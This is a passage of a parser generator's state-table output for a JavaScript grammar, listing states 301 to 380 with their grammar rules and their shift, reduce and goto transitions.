242) IfStatement : IF "(" Expr _ ")" Statement ELSE Statement - - ")" shift, and go to state 380 - "," shift, and go to state 213 - - -state 301 - - 243) IterationStatement : DO Statement WHILE _ "(" Expr ")" ";" - 244) IterationStatement : DO Statement WHILE _ "(" Expr ")" error - - "(" shift, and go to state 381 - - -state 302 - - 214) Expr : Expr _ "," AssignmentExpr - 245) IterationStatement : WHILE "(" Expr _ ")" Statement - - ")" shift, and go to state 382 - "," shift, and go to state 213 - - -state 303 - - 83) PostfixExpr : LeftHandSideExpr _ - 84) PostfixExpr : LeftHandSideExpr _ PLUSPLUS - 85) PostfixExpr : LeftHandSideExpr _ MINUSMINUS - 198) AssignmentExprNoIn : LeftHandSideExpr _ AssignmentOperator AssignmentExprNoIn - 248) IterationStatement : FOR "(" LeftHandSideExpr _ IN Expr ")" Statement - - IN shift, and go to state 384 - PLUSPLUS shift, and go to state 222 - MINUSMINUS shift, and go to state 223 - PLUSEQUAL shift, and go to state 129 - MINUSEQUAL shift, and go to state 130 - MULTEQUAL shift, and go to state 131 - DIVEQUAL shift, and go to state 132 - LSHIFTEQUAL shift, and go to state 133 - RSHIFTEQUAL shift, and go to state 134 - URSHIFTEQUAL shift, and go to state 135 - ANDEQUAL shift, and go to state 136 - MODEQUAL shift, and go to state 139 - XOREQUAL shift, and go to state 137 - OREQUAL shift, and go to state 138 - "=" shift, and go to state 128 - $default reduce using rule 83 (PostfixExpr) - - AssignmentOperator go to state 383 - -state 304 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 131) RelationalExprNoIn : ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 131 (RelationalExprNoIn) - - -state 305 - - 132) RelationalExprNoIn : RelationalExprNoIn _ "<" ShiftExpr - 133) RelationalExprNoIn : RelationalExprNoIn _ ">" ShiftExpr - 134) RelationalExprNoIn : RelationalExprNoIn _ LE ShiftExpr - 135) RelationalExprNoIn : RelationalExprNoIn _ GE ShiftExpr - 136) RelationalExprNoIn : RelationalExprNoIn _ INSTANCEOF ShiftExpr - 149) EqualityExprNoIn : RelationalExprNoIn _ - - INSTANCEOF shift, and go to state 389 - LE shift, and go to state 387 - GE shift, and go to state 388 - "<" shift, and go to state 385 - ">" shift, and go to state 386 - $default reduce using rule 149 (EqualityExprNoIn) - - -state 306 - - 150) EqualityExprNoIn : EqualityExprNoIn _ EQEQ RelationalExprNoIn - 151) EqualityExprNoIn : EqualityExprNoIn _ NE RelationalExprNoIn - 152) EqualityExprNoIn : EqualityExprNoIn _ STREQ RelationalExprNoIn - 153) EqualityExprNoIn : EqualityExprNoIn _ STRNEQ RelationalExprNoIn - 161) BitwiseANDExprNoIn : EqualityExprNoIn _ - - EQEQ shift, and go to state 390 - NE shift, and go to state 391 - STREQ shift, and go to state 392 - STRNEQ shift, and go to state 393 - $default reduce using rule 161 (BitwiseANDExprNoIn) - - -state 307 - - 162) BitwiseANDExprNoIn : BitwiseANDExprNoIn _ "&" EqualityExprNoIn - 167) BitwiseXORExprNoIn : BitwiseANDExprNoIn _ - - "&" shift, and go to state 394 - $default reduce using rule 167 (BitwiseXORExprNoIn) - - -state 308 - - 168) BitwiseXORExprNoIn : BitwiseXORExprNoIn _ "^" BitwiseANDExprNoIn - 173) BitwiseORExprNoIn : BitwiseXORExprNoIn _ - - "^" shift, and go to state 395 - $default reduce using rule 173 (BitwiseORExprNoIn) - - -state 309 - - 174) BitwiseORExprNoIn : BitwiseORExprNoIn _ "|" BitwiseXORExprNoIn - 179) LogicalANDExprNoIn : BitwiseORExprNoIn _ - - "|" shift, and go to state 396 - $default reduce using rule 179 (LogicalANDExprNoIn) - - -state 310 - - 180) LogicalANDExprNoIn : LogicalANDExprNoIn _ AND BitwiseORExprNoIn - 185) LogicalORExprNoIn : LogicalANDExprNoIn _ - - AND shift, and go to state 397 - $default reduce using rule 185 (LogicalORExprNoIn) - - -state 311 - - 186) LogicalORExprNoIn : LogicalORExprNoIn _ OR LogicalANDExprNoIn - 191) ConditionalExprNoIn : LogicalORExprNoIn _ - 192) ConditionalExprNoIn : LogicalORExprNoIn _ "?" AssignmentExprNoIn ":" AssignmentExprNoIn - - OR shift, and go to state 398 - "?" shift, and go to state 399 - $default reduce using rule 191 (ConditionalExprNoIn) - - -state 312 - - 197) AssignmentExprNoIn : ConditionalExprNoIn _ - - $default reduce using rule 197 (AssignmentExprNoIn) - - -state 313 - - 215) ExprNoIn : AssignmentExprNoIn _ - - $default reduce using rule 215 (ExprNoIn) - - -state 314 - - 216) ExprNoIn : ExprNoIn _ "," AssignmentExprNoIn - 254) ExprNoInOpt : ExprNoIn _ - - "," shift, and go to state 400 - $default reduce using rule 254 (ExprNoInOpt) - - -state 315 - - 246) IterationStatement : FOR "(" ExprNoInOpt _ ";" ExprOpt ";" ExprOpt ")" Statement - - ";" shift, and go to state 401 - - -state 316 - - 247) IterationStatement : FOR "(" VAR _ VariableDeclarationListNoIn ";" ExprOpt ";" ExprOpt ")" Statement - 249) IterationStatement : FOR "(" VAR _ IDENT IN Expr ")" Statement - 250) IterationStatement : FOR "(" VAR _ IDENT InitializerNoIn IN Expr ")" Statement - - IDENT shift, and go to state 404 - - VariableDeclarationNoIn go to state 402 - VariableDeclarationListNoIn go to state 403 - -state 317 - - 257) ContinueStatement : CONTINUE IDENT ";" _ - - $default reduce using rule 257 (ContinueStatement) - - -state 318 - - 258) ContinueStatement : CONTINUE IDENT error _ - - $default reduce using rule 258 (ContinueStatement) - - -state 319 - - 261) BreakStatement : BREAK IDENT ";" _ - - $default reduce using rule 261 (BreakStatement) - - -state 320 - - 262) BreakStatement : BREAK IDENT error _ - - $default reduce using rule 262 (BreakStatement) - - -state 321 - - 265) ReturnStatement : RETURN Expr ";" _ - - $default reduce using rule 265 (ReturnStatement) - - -state 322 - - 266) ReturnStatement : RETURN Expr error _ - - $default reduce using rule 266 (ReturnStatement) - - -state 323 - - 214) Expr : Expr _ "," AssignmentExpr - 267) WithStatement : WITH "(" Expr _ ")" Statement - - ")" shift, and go to state 405 - "," shift, and go to state 213 - - -state 324 - - 214) Expr : Expr _ "," AssignmentExpr - 268) SwitchStatement : SWITCH "(" Expr _ ")" CaseBlock - - ")" shift, and go to state 406 - "," shift, and go to state 213 - - -state 325 - - 278) ThrowStatement : THROW Expr ";" _ - - $default reduce using rule 278 (ThrowStatement) - - -state 326 - - 279) ThrowStatement : THROW Expr error _ - - $default reduce using rule 279 (ThrowStatement) - - -state 327 - - 280) TryStatement : TRY Block FINALLY _ Block - - "{" shift, and go to state 65 - - Block go to state 407 - -state 328 - - 281) TryStatement : TRY Block CATCH _ "(" IDENT ")" Block - 282) TryStatement : TRY Block CATCH _ "(" IDENT ")" Block FINALLY Block - - "(" shift, and go to state 408 - - -state 329 - - 285) FunctionDeclaration : FUNCTION IDENT "(" _ ")" "{" FunctionBody "}" - 286) FunctionDeclaration : FUNCTION IDENT "(" _ FormalParameterList ")" "{" FunctionBody "}" - - IDENT shift, and go to state 369 - ")" shift, and go to state 409 - - FormalParameterList go to state 410 - -state 330 - - 29) Property : IDENT ":" _ AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - AssignmentExpr go to state 411 - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - -state 331 - - 32) Property : IDENT IDENT _ "(" ")" "{" FunctionBody "}" - 33) Property : IDENT IDENT _ "(" FormalParameterList ")" "{" FunctionBody "}" - - "(" shift, and go to state 412 - - -state 332 - - 30) Property : STRING ":" _ AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - AssignmentExpr go to state 413 - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - -state 333 - - 31) Property : NUMBER ":" _ AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - AssignmentExpr go to state 414 - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - -state 334 - - 35) PropertyList : PropertyList "," _ Property - 39) PrimaryExpr : "{" PropertyList "," _ "}" - - NUMBER shift, and go to state 208 - STRING shift, and go to state 207 - IDENT shift, and go to state 206 - "}" shift, and go to state 416 - - Property go to state 415 - -state 335 - - 38) PrimaryExpr : "{" PropertyList "}" _ - - $default reduce using rule 38 (PrimaryExpr) - - -state 336 - - 214) Expr : Expr "," AssignmentExpr _ - - $default reduce using rule 214 (Expr) - - -state 337 - - 56) MemberExpr : MemberExpr "[" Expr _ "]" - 214) Expr : Expr _ "," AssignmentExpr - - "," shift, and go to state 213 - "]" shift, and go to state 417 - - -state 338 - - 57) MemberExpr : MemberExpr "." IDENT _ - - $default reduce using rule 57 (MemberExpr) - - -state 339 - - 58) MemberExpr : NEW MemberExpr Arguments _ - - $default reduce using rule 58 (MemberExpr) - - -state 340 - - 69) CallExpr : CallExpr "[" Expr _ "]" - 214) Expr : Expr _ "," AssignmentExpr - - "," shift, and go to state 213 - "]" shift, and go to state 418 - - -state 341 - - 70) CallExpr : CallExpr "." IDENT _ - - $default reduce using rule 70 (CallExpr) - - -state 342 - - 196) AssignmentExpr : LeftHandSideExpr AssignmentOperator AssignmentExpr _ - - $default reduce using rule 196 (AssignmentExpr) - - -state 343 - - 103) MultiplicativeExpr : MultiplicativeExpr "*" UnaryExpr _ - - $default reduce using rule 103 (MultiplicativeExpr) - - -state 344 - - 104) MultiplicativeExpr : MultiplicativeExpr "/" UnaryExpr _ - - $default reduce using rule 104 (MultiplicativeExpr) - - -state 345 - - 105) MultiplicativeExpr : MultiplicativeExpr "%" UnaryExpr _ - - $default reduce using rule 105 (MultiplicativeExpr) - - -state 346 - - 103) MultiplicativeExpr : MultiplicativeExpr _ "*" UnaryExpr - 104) MultiplicativeExpr : MultiplicativeExpr _ "/" UnaryExpr - 105) MultiplicativeExpr : MultiplicativeExpr _ "%" UnaryExpr - 111) AdditiveExpr : AdditiveExpr "+" MultiplicativeExpr _ - - "*" shift, and go to state 225 - "/" shift, and go to state 226 - "%" shift, and go to state 227 - $default reduce using rule 111 (AdditiveExpr) - - -state 347 - - 103) MultiplicativeExpr : MultiplicativeExpr _ "*" UnaryExpr - 104) MultiplicativeExpr : MultiplicativeExpr _ "/" UnaryExpr - 105) MultiplicativeExpr : MultiplicativeExpr _ "%" UnaryExpr - 112) AdditiveExpr : AdditiveExpr "-" MultiplicativeExpr _ - - "*" shift, and go to state 225 - "/" shift, and go to state 226 - "%" shift, and go to state 227 - $default reduce using rule 112 (AdditiveExpr) - - -state 348 - - 111) AdditiveExpr : AdditiveExpr _ "+" MultiplicativeExpr - 112) AdditiveExpr : AdditiveExpr _ "-" MultiplicativeExpr - 117) ShiftExpr : ShiftExpr LSHIFT AdditiveExpr _ - - "+" shift, and go to state 228 - "-" shift, and go to state 229 - $default reduce using rule 117 (ShiftExpr) - - -state 349 - - 111) AdditiveExpr : AdditiveExpr _ "+" MultiplicativeExpr - 112) AdditiveExpr : AdditiveExpr _ "-" MultiplicativeExpr - 118) ShiftExpr : ShiftExpr RSHIFT AdditiveExpr _ - - "+" shift, and go to state 228 - "-" shift, and go to state 229 - $default reduce using rule 118 (ShiftExpr) - - -state 350 - - 111) AdditiveExpr : AdditiveExpr _ "+" MultiplicativeExpr - 112) AdditiveExpr : AdditiveExpr _ "-" MultiplicativeExpr - 119) ShiftExpr : ShiftExpr URSHIFT AdditiveExpr _ - - "+" shift, and go to state 228 - "-" shift, and go to state 229 - $default reduce using rule 119 (ShiftExpr) - - -state 351 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 125) RelationalExpr : RelationalExpr "<" ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 125 (RelationalExpr) - - -state 352 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 126) RelationalExpr : RelationalExpr ">" ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 126 (RelationalExpr) - - -state 353 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 127) RelationalExpr : RelationalExpr LE ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 127 (RelationalExpr) - - -state 354 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 128) RelationalExpr : RelationalExpr GE ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 128 (RelationalExpr) - - -state 355 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 129) RelationalExpr : RelationalExpr INSTANCEOF ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 129 (RelationalExpr) - - -state 356 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 130) RelationalExpr : RelationalExpr IN ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 130 (RelationalExpr) - - -state 357 - - 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr - 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr - 127) RelationalExpr : RelationalExpr _ LE ShiftExpr - 128) RelationalExpr : RelationalExpr _ GE ShiftExpr - 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr - 130) RelationalExpr : RelationalExpr _ IN ShiftExpr - 145) EqualityExpr : EqualityExpr EQEQ RelationalExpr _ - - IN shift, and go to state 238 - INSTANCEOF shift, and go to state 237 - LE shift, and go to state 235 - GE shift, and go to state 236 - "<" shift, and go to state 233 - ">" shift, and go to state 234 - $default reduce using rule 145 (EqualityExpr) - - -state 358 - - 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr - 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr - 127) RelationalExpr : RelationalExpr _ LE ShiftExpr - 128) RelationalExpr : RelationalExpr _ GE ShiftExpr - 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr - 130) RelationalExpr : RelationalExpr _ IN ShiftExpr - 146) EqualityExpr : EqualityExpr NE RelationalExpr _ - - IN shift, and go to state 238 - INSTANCEOF shift, and go to state 237 - LE shift, and go to state 235 - GE shift, and go to state 236 - "<" shift, and go to state 233 - ">" shift, and go to state 234 - $default reduce using rule 146 (EqualityExpr) - - -state 359 - - 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr - 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr - 127) RelationalExpr : RelationalExpr _ LE ShiftExpr - 128) RelationalExpr : RelationalExpr _ GE ShiftExpr - 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr - 130) RelationalExpr : RelationalExpr _ IN ShiftExpr - 147) EqualityExpr : EqualityExpr STREQ RelationalExpr _ - - IN shift, and go to state 238 - INSTANCEOF shift, and go to state 237 - LE shift, and go to state 235 - GE shift, and go to state 236 - "<" shift, and go to state 233 - ">" shift, and go to state 234 - $default reduce using rule 147 (EqualityExpr) - - -state 360 - - 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr - 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr - 127) RelationalExpr : RelationalExpr _ LE ShiftExpr - 128) RelationalExpr : RelationalExpr _ GE ShiftExpr - 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr - 130) RelationalExpr : RelationalExpr _ IN ShiftExpr - 148) EqualityExpr : EqualityExpr STRNEQ RelationalExpr _ - - IN shift, and go to state 238 - INSTANCEOF shift, and go to state 237 - LE shift, and go to state 235 - GE shift, and go to state 236 - "<" shift, and go to state 233 - ">" shift, and go to state 234 - $default reduce using rule 148 (EqualityExpr) - - -state 361 - - 145) EqualityExpr : EqualityExpr _ EQEQ RelationalExpr - 146) EqualityExpr : EqualityExpr _ NE RelationalExpr - 147) EqualityExpr : EqualityExpr _ STREQ RelationalExpr - 148) EqualityExpr : EqualityExpr _ STRNEQ RelationalExpr - 160) BitwiseANDExpr : BitwiseANDExpr "&" EqualityExpr _ - - EQEQ shift, and go to state 239 - NE shift, and go to state 240 - STREQ shift, and go to state 241 - STRNEQ shift, and go to state 242 - $default reduce using rule 160 (BitwiseANDExpr) - - -state 362 - - 160) BitwiseANDExpr : BitwiseANDExpr _ "&" EqualityExpr - 166) BitwiseXORExpr : BitwiseXORExpr "^" BitwiseANDExpr _ - - "&" shift, and go to state 243 - $default reduce using rule 166 (BitwiseXORExpr) - - -state 363 - - 166) BitwiseXORExpr : BitwiseXORExpr _ "^" BitwiseANDExpr - 172) BitwiseORExpr : BitwiseORExpr "|" BitwiseXORExpr _ - - "^" shift, and go to state 244 - $default reduce using rule 172 (BitwiseORExpr) - - -state 364 - - 172) BitwiseORExpr : BitwiseORExpr _ "|" BitwiseXORExpr - 178) LogicalANDExpr : LogicalANDExpr AND BitwiseORExpr _ - - "|" shift, and go to state 245 - $default reduce using rule 178 (LogicalANDExpr) - - -state 365 - - 178) LogicalANDExpr : LogicalANDExpr _ AND BitwiseORExpr - 184) LogicalORExpr : LogicalORExpr OR LogicalANDExpr _ - - AND shift, and go to state 246 - $default reduce using rule 184 (LogicalORExpr) - - -state 366 - - 190) ConditionalExpr : LogicalORExpr "?" AssignmentExpr _ ":" AssignmentExpr - - ":" shift, and go to state 419 - - -state 367 - - 287) FunctionExpr : FUNCTION "(" ")" _ "{" FunctionBody "}" - - "{" shift, and go to state 420 - - -state 368 - - 288) FunctionExpr : FUNCTION "(" FormalParameterList _ ")" "{" FunctionBody "}" - 292) FormalParameterList : FormalParameterList _ "," IDENT - - ")" shift, and go to state 421 - "," shift, and go to state 422 - - -state 369 - - 291) FormalParameterList : IDENT _ - - $default reduce using rule 291 (FormalParameterList) - - -state 370 - - 289) FunctionExpr : FUNCTION IDENT "(" _ ")" "{" FunctionBody "}" - 290) FunctionExpr : FUNCTION IDENT "(" _ FormalParameterList ")" "{" FunctionBody "}" - - IDENT shift, and go to state 369 - ")" shift, and go to state 423 - - FormalParameterList go to state 424 - -state 371 - - 47) ArrayLiteral : "[" ElementList "," ElisionOpt _ "]" - 49) ElementList : ElementList "," ElisionOpt _ AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "]" shift, and go to state 425 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - AssignmentExpr go to state 426 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - -state 372 - - 60) MemberExprNoBF : MemberExprNoBF "[" Expr "]" _ - - $default reduce using rule 60 (MemberExprNoBF) - - -state 373 - - 76) Arguments : "(" ArgumentList ")" _ - - $default reduce using rule 76 (Arguments) - - -state 374 - - 78) ArgumentList : ArgumentList "," _ AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - AssignmentExpr go to state 427 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - -state 375 - - 73) CallExprNoBF : CallExprNoBF "[" Expr "]" _ - - $default reduce using rule 73 (CallExprNoBF) - - -state 376 - - 194) ConditionalExprNoBF : LogicalORExprNoBF "?" AssignmentExpr ":" _ AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - AssignmentExpr go to state 428 - ConditionalExpr go to state 109 - -state 377 - - 223) VariableDeclarationList : VariableDeclarationList "," VariableDeclaration _ - - $default reduce using rule 223 (VariableDeclarationList) - - -state 378 - - 236) Initializer : "=" AssignmentExpr _ - - $default reduce using rule 236 (Initializer) - - -state 379 - - 233) ConstDeclarationList : ConstDeclarationList "," ConstDeclaration _ - - $default reduce using rule 233 (ConstDeclarationList) - - -state 380 - - 241) IfStatement : IF "(" Expr ")" _ Statement - 242) IfStatement : IF "(" Expr ")" _ Statement ELSE Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - 